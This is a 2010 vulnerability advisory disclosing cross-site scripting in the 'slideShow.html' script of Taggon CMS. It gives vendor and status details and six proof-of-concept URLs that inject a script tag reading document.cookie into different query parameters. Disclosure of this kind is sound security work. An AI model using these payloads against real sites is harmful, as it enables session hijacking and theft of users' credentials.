Taggon CMS 01.07.2010 Cross Site Scripting

`Vulnerability ID: HTB22477  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_taggon_cms.html  
Product: Taggon CMS  
Vendor: Onison ( http://www.onison.com/articles/3 )   
Vulnerable Version: Current at 01.07.2010 and Probably Prior Versions  
Vendor Notification: 01 July 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "slideShow.html" script to properly sanitize user-supplied input in many variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1&pic=1&slideShowMode=1&external=1&&category=_u1234567_inbox%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
  
http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1&pic=1&slideShowMode=1&external=1%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&category=_u1234567_inbox  
  
http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1&pic=1&slideShowMode=1%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&external=1&category=_u1234567_inbox  
  
http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1&pic=1%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&slideShowMode=1&external=1&category=_u1234567_inbox  
  
http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&pic=1&slideShowMode=1&external=1&category=_u1234567_inbox  
  
http://host/slideShow.html?company=COMPANY%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&userid=USER&CurrentSlide=1&pic=1&slideShowMode=1&external=1&category=_u1234567_inbox  
  
  
`